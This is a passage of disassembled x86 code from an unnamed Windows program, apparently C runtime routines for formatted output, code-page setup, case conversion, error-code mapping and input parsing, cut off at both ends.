		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_4205E8:				; CODE XREF: sub_41FF3F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_424663
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_42062F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4206E6
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_4205E8
		jmp	short loc_42062F
; ---------------------------------------------------------------------------


loc_42061A:				; CODE XREF: sub_41FF3F+698j
					; sub_41FF3F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_4206E6
		add	esp, 10h


loc_42062F:				; CODE XREF: sub_41FF3F+6BCj
					; sub_41FF3F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_420647 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4206B5
		add	esp, 10h


loc_420647:				; CODE XREF: sub_41FF3F+68j
					; sub_41FF3F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41FF6B


loc_420658:				; CODE XREF: sub_41FF3F+1Fj
					; sub_41FF3F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FF3F	endp

; ---------------------------------------------------------------------------
off_420660	dd offset loc_4200DE	; DATA XREF: sub_41FF3F+6Er
		dd offset loc_41FFB4	; jump table for switch	statement
		dd offset loc_41FFCF
		dd offset loc_42001B
		dd offset loc_420052
		dd offset loc_42005A
		dd offset loc_42008F
		dd offset loc_420122

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420680	proc near		; CODE XREF: sub_41FF3F+1BDp
					; sub_41FF3F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_420699
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_4206A4
; ---------------------------------------------------------------------------


loc_420699:				; CODE XREF: sub_420680+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_4206A4:				; CODE XREF: sub_420680+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_4206B1
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4206B1:				; CODE XREF: sub_420680+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_420680	endp


; =============== S U B	R O U T	I N E =======================================



sub_4206B5	proc near		; CODE XREF: sub_41FF3F+65Ap
					; sub_41FF3F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_4206E3
		mov	esi, [esp+8+arg_C]


loc_4206C6:				; CODE XREF: sub_4206B5+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_420680
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_4206E3
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_4206C6


loc_4206E3:				; CODE XREF: sub_4206B5+Bj
					; sub_4206B5+25j
		pop	edi
		pop	esi
		retn
sub_4206B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4206E6	proc near		; CODE XREF: sub_41FF3F+670p
					; sub_41FF3F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_42071A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_4206FC:				; CODE XREF: sub_4206E6+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_420680
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_42071A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_4206FC


loc_42071A:				; CODE XREF: sub_4206E6+Cj
					; sub_4206E6+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4206E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42071E	proc near		; CODE XREF: sub_41FF3F+E5p
					; sub_41FF3F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_42071E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42072B	proc near		; CODE XREF: sub_41FF3F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_42072B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42073B	proc near		; CODE XREF: sub_41FF3F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_42073B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420749	proc near		; CODE XREF: sub_420B0D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4208E2
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DD144
		mov	[ebp+arg_0], esi
		jz	loc_4208D6
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_4208CC
		xor	edx, edx
		mov	eax, offset dword_43D0A0


loc_42077D:				; CODE XREF: sub_420749+41j
		cmp	[eax], esi
		jz	short loc_4207F3
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43D190
		jl	short loc_42077D
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 2670000h
		cmp	eax, 1
		jnz	loc_4208C4
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DD260
		cmp	[ebp+var_18], 1
		mov	dword_4DD144, esi
		rep stosd
		stosb
		mov	dword_4DD364, ebx
		jbe	loc_4208B2
		cmp	[ebp+var_12], 0
		jz	loc_420888
		lea	ecx, [ebp+var_11]


loc_4207D0:				; CODE XREF: sub_420749+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_420888
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_4207E1:				; CODE XREF: sub_420749+A8j
		cmp	eax, edx
		ja	loc_42087C
		or	byte_4DD261[eax], 4
		inc	eax
		jmp	short loc_4207E1
; ---------------------------------------------------------------------------


loc_4207F3:				; CODE XREF: sub_420749+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DD260
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43D0B0[esi]


loc_42080F:				; CODE XREF: sub_420749+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_420842


loc_420816:				; CODE XREF: sub_420749+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_420842
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_42083B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43D098[edx]


loc_420830:				; CODE XREF: sub_420749+F0j
		or	byte_4DD261[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_420830


loc_42083B:				; CODE XREF: sub_420749+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_420816


loc_420842:				; CODE XREF: sub_420749+CBj
					; sub_420749+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_42080F
		mov	eax, [ebp+arg_0]
		mov	dword_4DD15C, 1
		push	eax
		mov	dword_4DD144, eax
		call	sub_42092C
		lea	esi, dword_43D0A4[esi]
		mov	edi, offset dword_4DD150
		movsd
		movsd
		pop	ecx
		mov	dword_4DD364, eax
		movsd
		jmp	short loc_4208D1
; ---------------------------------------------------------------------------


loc_42087C:				; CODE XREF: sub_420749+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_4207D0


loc_420888:				; CODE XREF: sub_420749+7Ej
					; sub_420749+8Bj
		push	1
		pop	eax


loc_42088B:				; CODE XREF: sub_420749+14Fj
		or	byte_4DD261[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_42088B
		push	esi
		call	sub_42092C
		pop	ecx
		mov	dword_4DD364, eax
		mov	dword_4DD15C, 1
		jmp	short loc_4208B8
; ---------------------------------------------------------------------------


loc_4208B2:				; CODE XREF: sub_420749+74j
		mov	dword_4DD15C, ebx


loc_4208B8:				; CODE XREF: sub_420749+167j
		xor	eax, eax
		mov	edi, offset dword_4DD150
		stosd
		stosd
		stosd
		jmp	short loc_4208D1
; ---------------------------------------------------------------------------


loc_4208C4:				; CODE XREF: sub_420749+51j
		cmp	dword_4DBE4C, ebx
		jz	short loc_4208DA


loc_4208CC:				; CODE XREF: sub_420749+27j
		call	sub_42095F


loc_4208D1:				; CODE XREF: sub_420749+131j
					; sub_420749+179j
		call	sub_420988


loc_4208D6:				; CODE XREF: sub_420749+1Dj
		xor	eax, eax
		jmp	short loc_4208DD
; ---------------------------------------------------------------------------


loc_4208DA:				; CODE XREF: sub_420749+181j
		or	eax, 0FFFFFFFFh


loc_4208DD:				; CODE XREF: sub_420749+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420749	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208E2	proc near		; CODE XREF: sub_420749+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DBE4C, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420902
		mov	dword_4DBE4C, 1
		nop
		jmp	near ptr 2660881h
; ---------------------------------------------------------------------------


loc_420902:				; CODE XREF: sub_4208E2+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420917
		mov	dword_4DBE4C, 1
		jmp	near ptr 26608AEh
; ---------------------------------------------------------------------------
		db 0E1h
; ---------------------------------------------------------------------------


loc_420917:				; CODE XREF: sub_4208E2+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42092B
		mov	eax, dword_4DBE94
		mov	dword_4DBE4C, 1

locret_42092B:				; CODE XREF: sub_4208E2+38j
		retn
sub_4208E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_42092C	proc near		; CODE XREF: sub_420749+118p
					; sub_420749+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_420959
		sub	eax, 4
		jz	short loc_420953
		sub	eax, 0Dh
		jz	short loc_42094D
		dec	eax
		jz	short loc_420947
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_420947:				; CODE XREF: sub_42092C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_42094D:				; CODE XREF: sub_42092C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_420953:				; CODE XREF: sub_42092C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_420959:				; CODE XREF: sub_42092C+9j
		mov	eax, 411h
		retn
sub_42092C	endp


; =============== S U B	R O U T	I N E =======================================



sub_42095F	proc near		; CODE XREF: sub_420749:loc_4208CCp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DD260
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DD150
		mov	dword_4DD144, eax
		mov	dword_4DD15C, eax
		mov	dword_4DD364, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_42095F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420988	proc near		; CODE XREF: sub_420749:loc_4208D1p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DD144
		call	near ptr 2670000h
		nop
		cmp	eax, 1
		jnz	loc_420AC1
		xor	eax, eax
		mov	esi, 100h


loc_4209B2:				; CODE XREF: sub_420988+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_4209B2
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420A03
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_4209D1:				; CODE XREF: sub_420988+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_4209F8
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_4209F8:				; CODE XREF: sub_420988+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_4209D1
		pop	edi
		pop	ebx


loc_420A03:				; CODE XREF: sub_420988+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DD364
		push	dword_4DD144
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_4244F4
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DD144
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DD364
		call	sub_4232A8
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DD144
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DD364
		call	sub_4232A8
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_420A7E:				; CODE XREF: sub_420988+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_420A9C
		or	byte_4DD261[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_420A94:				; CODE XREF: sub_420988+127j
		mov	byte_4DD160[eax], dl
		jmp	short loc_420AB8
; ---------------------------------------------------------------------------


loc_420A9C:				; CODE XREF: sub_420988+FCj
		test	dl, 2
		jz	short loc_420AB1
		or	byte_4DD261[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_420A94
; ---------------------------------------------------------------------------


loc_420AB1:				; CODE XREF: sub_420988+117j
		and	byte_4DD160[eax], 0


loc_420AB8:				; CODE XREF: sub_420988+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_420A7E
		jmp	short loc_420B0A
; ---------------------------------------------------------------------------


loc_420AC1:				; CODE XREF: sub_420988+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_420AC8:				; CODE XREF: sub_420988+180j
		cmp	eax, 41h
		jb	short loc_420AE6
		cmp	eax, 5Ah
		ja	short loc_420AE6
		or	byte_4DD261[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_420ADE:				; CODE XREF: sub_420988+174j
		mov	byte_4DD160[eax], cl
		jmp	short loc_420B05
; ---------------------------------------------------------------------------


loc_420AE6:				; CODE XREF: sub_420988+143j
					; sub_420988+148j
		cmp	eax, 61h
		jb	short loc_420AFE
		cmp	eax, 7Ah
		ja	short loc_420AFE
		or	byte_4DD261[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_420ADE
; ---------------------------------------------------------------------------


loc_420AFE:				; CODE XREF: sub_420988+161j
					; sub_420988+166j
		and	byte_4DD160[eax], 0


loc_420B05:				; CODE XREF: sub_420988+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420AC8


loc_420B0A:				; CODE XREF: sub_420988+137j
		pop	esi
		leave
		retn
sub_420988	endp


; =============== S U B	R O U T	I N E =======================================



sub_420B0D	proc near		; CODE XREF: ___:00423684p
					; ___:004236E0p ...
		cmp	dword_4DD394, 0
		jnz	short locret_420B28
		push	0FFFFFFFDh
		call	sub_420749
		pop	ecx
		mov	dword_4DD394, 1

locret_420B28:				; CODE XREF: sub_420B0D+7j
		retn
sub_420B0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420B29	proc near		; CODE XREF: sub_41C3B1+2Bp
					; sub_41C3B1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DD15C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_420B4D
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41BFD0
		add	esp, 0Ch
		jmp	short loc_420BB0
; ---------------------------------------------------------------------------


loc_420B4D:				; CODE XREF: sub_420B29+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_420B92
		mov	ecx, [ebp+arg_4]


loc_420B58:				; CODE XREF: sub_420B29+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DD261[esi], 4
		mov	[edi], al
		jz	short loc_420B7C
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_420B88
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420B8E
		jmp	short loc_420B82
; ---------------------------------------------------------------------------


loc_420B7C:				; CODE XREF: sub_420B29+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420B92


loc_420B82:				; CODE XREF: sub_420B29+51j
		test	edx, edx
		jnz	short loc_420B58
		jmp	short loc_420B92
; ---------------------------------------------------------------------------


loc_420B88:				; CODE XREF: sub_420B29+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_420B92
; ---------------------------------------------------------------------------


loc_420B8E:				; CODE XREF: sub_420B29+4Fj
		and	byte ptr [edi-2], 0


loc_420B92:				; CODE XREF: sub_420B29+2Aj
					; sub_420B29+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_420BAD
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_420BAD:				; CODE XREF: sub_420B29+6Fj
		mov	eax, [ebp+arg_0]


loc_420BB0:				; CODE XREF: sub_420B29+22j
		pop	edi
		pop	ebp
		retn
sub_420B29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420BB3	proc near		; CODE XREF: sub_41C59D+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBE84, 0
		push	ebx
		jnz	short loc_420BDE
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_420C7C
		cmp	eax, 7Ah
		jg	loc_420C7C
		sub	eax, 20h
		jmp	loc_420C7C
; ---------------------------------------------------------------------------


loc_420BDE:				; CODE XREF: sub_420BB3+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420C11
		cmp	dword_43D084, 1
		jle	short loc_420BFE
		push	2
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420C09
; ---------------------------------------------------------------------------


loc_420BFE:				; CODE XREF: sub_420BB3+3Dj
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_420C09:				; CODE XREF: sub_420BB3+49j
		test	eax, eax
		jnz	short loc_420C11


loc_420C0D:				; CODE XREF: sub_420BB3+AFj
		mov	eax, ebx
		jmp	short loc_420C7C
; ---------------------------------------------------------------------------


loc_420C11:				; CODE XREF: sub_420BB3+34j
					; sub_420BB3+58j
		mov	edx, off_43CE78
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420C34
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_420C3D
; ---------------------------------------------------------------------------


loc_420C34:				; CODE XREF: sub_420BB3+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_420C3D:				; CODE XREF: sub_420BB3+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DBE84
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_420C0D
		cmp	eax, 1
		jnz	short loc_420C6F
		movzx	eax, [ebp+var_4]
		jmp	short loc_420C7C
; ---------------------------------------------------------------------------


loc_420C6F:				; CODE XREF: sub_420BB3+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_420C7C:				; CODE XREF: sub_420BB3+14j
					; sub_420BB3+1Dj ...
		pop	ebx
		leave
		retn
sub_420BB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_420C7F	proc near		; CODE XREF: sub_41C7BC+1Dp
					; sub_41DC5E+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DBDE0, ecx
		mov	eax, offset dword_43D190


loc_420C90:				; CODE XREF: sub_420C7F+1Ej
		cmp	ecx, [eax]
		jz	short loc_420CB4
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43D2F8
		jl	short loc_420C90
		cmp	ecx, 13h
		jb	short loc_420CC1
		cmp	ecx, 24h
		ja	short loc_420CC1
		mov	dword_4DBDDC, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420CB4:				; CODE XREF: sub_420C7F+13j
		mov	eax, dword_43D194[edx*8]
		mov	dword_4DBDDC, eax
		retn
; ---------------------------------------------------------------------------


loc_420CC1:				; CODE XREF: sub_420C7F+23j
					; sub_420C7F+28j
		cmp	ecx, 0BCh
		jb	short loc_420CDB
		cmp	ecx, 0CAh
		mov	dword_4DBDDC, 8
		jbe	short locret_420CE5


loc_420CDB:				; CODE XREF: sub_420C7F+48j
		mov	dword_4DBDDC, 16h

locret_420CE5:				; CODE XREF: sub_420C7F+5Aj
		retn
sub_420C7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_420CE6	proc near		; CODE XREF: sub_41C7E6+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42463D
		test	eax, eax
		pop	ecx
		jz	short loc_420D6F
		cmp	esi, offset dword_43D588
		jnz	short loc_420D04
		xor	eax, eax
		jmp	short loc_420D0F
; ---------------------------------------------------------------------------


loc_420D04:				; CODE XREF: sub_420CE6+18j
		cmp	esi, offset dword_43D5A8
		jnz	short loc_420D6F
		push	1
		pop	eax


loc_420D0F:				; CODE XREF: sub_420CE6+1Cj
		inc	dword_4DBFAC
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_420D6F
		cmp	dword_4DBE50[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DBE50h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_420D55
		push	ebx
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_420D55
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_420D62
; ---------------------------------------------------------------------------


loc_420D55:				; CODE XREF: sub_420CE6+4Dj
					; sub_420CE6+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_420D62:				; CODE XREF: sub_420CE6+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420D6F:				; CODE XREF: sub_420CE6+10j
					; sub_420CE6+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420CE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_420D73	proc near		; CODE XREF: sub_41C7E6+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_420D9D
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_420DAE
		push	esi
		call	sub_41E42B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420D9D:				; CODE XREF: sub_420D73+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_420DAE
		push	eax
		call	sub_41E42B
		pop	ecx


loc_420DAE:				; CODE XREF: sub_420D73+10j
					; sub_420D73+32j
		pop	esi
		retn
sub_420D73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420DB0	proc near		; CODE XREF: sub_41CCE3+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_4217B6
		mov	edi, [ebp+arg_0]
		jmp	short loc_420DDF
; ---------------------------------------------------------------------------


loc_420DDA:				; CODE XREF: sub_420DB0+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_420DDF:				; CODE XREF: sub_420DB0+28j
		cmp	dword_43D084, 1
		jle	short loc_420DF7
		movzx	eax, al
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420E06
; ---------------------------------------------------------------------------


loc_420DF7:				; CODE XREF: sub_420DB0+36j
		mov	ecx, off_43CE78
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_420E06:				; CODE XREF: sub_420DB0+45j
		cmp	eax, ebx
		jz	short loc_420E40
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_42183D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_421826
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DF10
		add	esp, 0Ch


loc_420E2E:				; CODE XREF: sub_420DB0+8Ej
		test	eax, eax
		jz	short loc_420E40
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DF10
		pop	ecx
		jmp	short loc_420E2E
; ---------------------------------------------------------------------------


loc_420E40:				; CODE XREF: sub_420DB0+58j
					; sub_420DB0+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_421722
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_420E77:				; CODE XREF: sub_420DB0+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43D084, 1
		jle	short loc_420E94
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420EA3
